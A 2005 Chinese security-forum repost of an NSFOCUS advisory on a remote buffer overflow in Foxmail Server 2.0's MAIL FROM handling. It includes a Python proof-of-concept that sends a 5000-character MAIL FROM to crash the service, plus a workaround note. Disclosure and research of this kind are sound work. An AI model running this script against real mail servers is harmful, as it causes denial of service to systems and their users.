‹‹ 上一主题 | 下一主题 ››
发新话题
打印

[转载]Foxmail Server远程缓冲区溢出漏洞

EvilOctal

团队执行官

Rank: 8Rank: 8

E.S.T社区执行帐号

帖子
9870 
精华
771 
积分
40998 
阅读权限
200 
性别
男 
在线时间
3985 小时 
注册时间
2004-7-4 
最后登录
2008-11-26 
楼主 大 中 小 发表于 2005-2-9 04:36  只看该作者

[转载]Foxmail Server远程缓冲区溢出漏洞

信息来源：www.nsfocus.net

受影响系统：
BODA Foxmail server for windows version 2.0
描述：
--------------------------------------------------------------------------------
Foxmail Server是博大互联开发的邮件服务器软件。

Foxmail Server在处理"MAIL FROM:"命令时缺少正确的边界缓冲区检查，远程攻击者可以利用这个漏洞对服务程序进行拒绝服务攻击或者以进程权限执行任意指令。

攻击者提交包含超长参数的"MAIL FROM:"命令给Foxmail server处理，可导致发生缓冲区溢出，精心构建提交数据可能以进程权限在系统上执行任意指令。

<*来源：Xin Ouyang （xouyang@fortinet.com）
  
  链接：http://marc.theaimsgroup.com/?l= ... 63204301080&w=2
*>

测试方法：
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Xin Ouyang （xouyang@fortinet.com）提供了如下测试方法：
http://www.eviloctal.com/forum/r ... oread=1&fpage=1
复制内容到剪贴板
代码:
#!/usr/bin/python
#Code by OYXin
#oyxin_at_segfault.cn
import socket
import sys
import getopt


def usage():
   print "Usage: foxserver.py -h host -p port"
   sys.exit(0)
   
if __name__ == &#39;__main__&#39;:
   
   try:
      opts, args = getopt.getopt(sys.argv[1:], "h:p:")
   except getopt.GetoptError, msg:
      print msg
      usage()
      
   for o,a in opts:
      if o in ["-h"]:
        host = a
      if o in ["-p"]:
        port = int(a)

   evilbuf =  "MAIL-FROM: <" + "A"*5000 + ">" + "\r\n"
   evilbuf += "RCPT-TO: [email]postmaster@company.mail[/email]DATA" + "\r\n"
   evilbuf += "Message-ID: 123" + "\r\n"
   evilbuf += "ASDF" + "\r\n"
   evilbuf += "." + "\r\n"
   evilbuf += "QUIT" + "\r\n"
   try:
      sockfd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      sockfd.connect((host, port))
      recvbuf = sockfd.recv(1024)
      print `recvbuf`
      sockfd.send("HELO localhost\r\n")
      recvbuf = sockfd.recv(1024)
      print `recvbuf`
      sockfd.send(evilbuf)
   except socket.error, msg:
      print msg
      
   sockfd.close()
建议：
--------------------------------------------------------------------------------
临时解决方法：

如果您不能立刻安装补丁或者升级，NSFOCUS建议您采取以下措施以降低威胁：

* 禁止不可信IP访问FoxMail Server

厂商补丁：

BODA
----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.foxmail.com.cn/english/english_3.htm
曾几何时，有人对我说：装B遭雷劈。我说：去你妈的。于是，这个人又对我说：如果再说脏话，上帝会惩罚你的。我说：我操上帝。结论：彪悍的人生不需要上帝。

TOP

‹‹ 上一主题 | 下一主题 ››
发新话题